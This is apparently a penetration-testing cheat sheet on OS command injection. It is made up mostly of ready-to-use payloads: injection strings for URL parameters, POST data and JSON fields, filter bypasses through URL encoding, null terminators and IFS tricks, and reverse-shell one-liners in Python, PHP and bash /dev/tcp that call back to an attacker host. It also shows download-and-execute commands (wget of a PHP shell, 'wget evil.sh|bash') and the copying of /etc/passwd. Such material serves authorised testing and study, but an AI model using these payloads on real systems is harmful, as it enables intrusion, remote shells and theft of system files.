OS Command Injection
Last modified: 2024-12-12
We can inject OS commands through URL params, POST data, etc.
Automation
-
commix.py -u https://example.com/?name=test commix.py -u https://example.com/ --method=POST -d "name=test"
*Use --batch
option for default behavior without user input.
Basic Payloads
If the payload includes whitespaces (' '), we need to change it to '+' or URL encoding ('%20').
/api/cmd/whoami
/command/whoami
/?cmd=whoami
/?cmd=;id
/?cmd=ls
/?cmd=ls ..
/?cmd=ls ../
/?cmd=ls /home
<!-- Comment out at the end to ignore subsequent command/code. -->
?cmd=ls /home #
/?cmd=`ping -c 1 10.0.0.1`
/?file=example.txt; echo $(ls -al /)
/?file=example.txt; echo $(ls -al /) |
<!-- PHP query string -->
/?q=;system($_GET[cmd])&cmd=whoami
/?q=${system($_GET[cmd])}&cmd=whoami
/?productId=1&stockId=1|whoami
/?productId=1&stockId=1|id
<!-- Windows -->
/?file=example.txt | systeminfo #
/?file=example.txt ; systeminfo #
/?file=example.txt') ; systeminfo #
URL Encoding
We may be able to bypass specific character filter by encoding them.
# %0A: newline
/?cmd=ls%0Aid
# %250A: newline (double encoding)
/?cmd=ls%250Aid
# Adding at the end.
/?cmd=ls%0Aid%0A
# %26: &
/?cmd=ls%26id
# %2526: & (double encoding)
/?cmd=ls%2526id
# &&
/?cmd=ls%26%26id
/?cmd=ls%2526%2526id
# %3B: ;
/?cmd=ls%3Bid
# %253B: ; (double encoding)
/?cmd=ls%253Bid
Null-terminator
Sometimes, we need to put a null-terminator to ignore subsequent code given by the target application.
# URL encoding (%00)
?cmd=ls /home%00
# Escape sequence (\0, \00)
?cmd=ls /home\0
?cmd=ls /home\00
Bypass Whitespace Filter
Reference: https://www.ctfnote.com/web/os-command-injection/whitespace-bypass
If the website filters whitespaces and we cannot inject OS command including spaces e.g. 'sleep 5', we can insert Internal Field Separator (IFS) as whitespace:
$IFS$9
# or
${IFS}
Payload Examples:
Below is the ping -c 1 10.0.0.1
command:
/?cmd=ping$IFS$9-c$IFS$91$IFS$910.0.0.1
<!-- or -->
/?cmd=ping${IFS}-c${IFS}1${IFS}10.0.0.1
Ping
Try pinging to our local machine for checking if our command injection achieves.
To confirm the result, start tcpdump in our local machine.
# -i: Interface e.g. eth0, tun0
sudo tcpdump -i eth0 icmp
Then execute ping command in POST request.
Below are examples for POST data.
file=example.jpg&filetype=png;ping+-c+1+10.0.0.1
Reverse Shell
file=example.jpg&filetype=png;export RHOST="10.0.0.1";export RPORT=4444;python3 -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'
PHP Reverse Shell
Reference: https://book.hacktricks.xyz/pentesting-web/command-injection#examples
# 1. Download PHP payload
wget https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php -O shell.php
# 2. Edit `ip` and `port` values.
vim shell.php
# 3. Send payload & get shell (run `nc -lvnp <port>` in another terminal before doing this)
/?cmd=ls%0Awget+http://10.0.0.1/shell.php+-O+/tmp/shell.php%0Aphp+/tmp/shell.php
Blind Command Injection (Time Delay)
Use ping
command to check if the website will be loaded with time delay.
name=michael&email=michael@example.com||ping+-c+10+127.0.0.1||&message=hello
email=test@test.com;ping+-c+15+127.0.0.1+#&message=hello
If we find the command can be executed, we can execute the other commands as below.
email=test@test.com;cp+/etc/passwd+./+#&message=hello
JSON Injection
{ "username": "\"; pwd \"" }
{"email": "\";ping -c 1 10.0.0.1\""}
{"name":"<script>alert(1)</script>", "email":"victim@vulnerable.com"}
{"name": "admin", "content": "{{template: ./admin.php}}"}
PHP Injection
id=$(php -r '$sock=fsockopen("10.0.0.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");')
# URL encode
id=1$(php%20-r%20'$sock=fsockopen(%2210.0.0.1%22,4444);exec(%22/bin/sh%20-i%20%3C&3%20%3E&3%202%3E&3%22);')
id=1$(php%20-r%20%27%24sock%3Dfsockopen%28%2210.0.0.1%22%2C4444%29%3Bexec%28%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27)
id=1`php%20-r%20%27%24sock%3Dfsockopen%28%2210.0.0.1%22%2C4444%29%3Bexec%28%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27`
Indirect Payloads with Shell Script
If we cannot inject command directly as above, try injecting from files.
Create a shell script. The filename here is evil.sh
`.
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'
Host this file by starting web server in the directory where the evil.sh
exists.
sudo python3 -m http.server 80
In target website, inject command to let target server download the shell script and execute it. Before that, we need to start listerner by nc -lvnp 4444
in another terminal in local machine. Here is the example.
/?cmd=ls;wget+http://10.0.0.1/evil.sh|bash
We might get a shell.